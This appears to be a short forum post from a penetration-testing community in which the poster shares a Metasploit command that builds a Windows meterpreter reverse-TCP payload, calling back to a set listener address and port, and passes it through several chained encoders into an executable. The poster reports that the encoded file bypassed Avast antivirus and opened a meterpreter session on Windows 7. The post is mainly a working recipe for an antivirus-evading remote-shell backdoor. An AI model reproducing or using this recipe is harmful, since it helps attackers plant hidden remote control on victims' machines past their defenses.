Code:
cd /pentest/exploits/framework3
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.25.26 LPORT=1417 R | msfencode -e
x86/shikata_ga_nai -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 4 -t raw | msfencode -e
x86/fnstenv_mov -c 5 -t raw | msfencode -e x86/countdown -c 4 -t raw | msfencode -e x86/shikata_ga_nai -c
16 -t exe > /root/msfpayload.exe
Here is my example of a successful multi encode. Not so sure it accomplishes THAT much. Seems once you've got it encoded to a certain point it won't matter as most AV that is still detecting it is doing so by heuristics engine(behaviour?) Correct me if I'm wrong. Definitely still learning.
This much encoding broke my exe when I tried on bt4-pre-final (metasploit up to date).
building payload using R1 and executing this payload on win7x64 got me meterpreter session.
I did first build the payload with NO encoding to test against my AV(avast free). Avast picks up the meterpreter payload unencoded. Attempt two using the above command successfully bypassed. Again not sure if that much encoding is really needed but just an example what you can do with the command.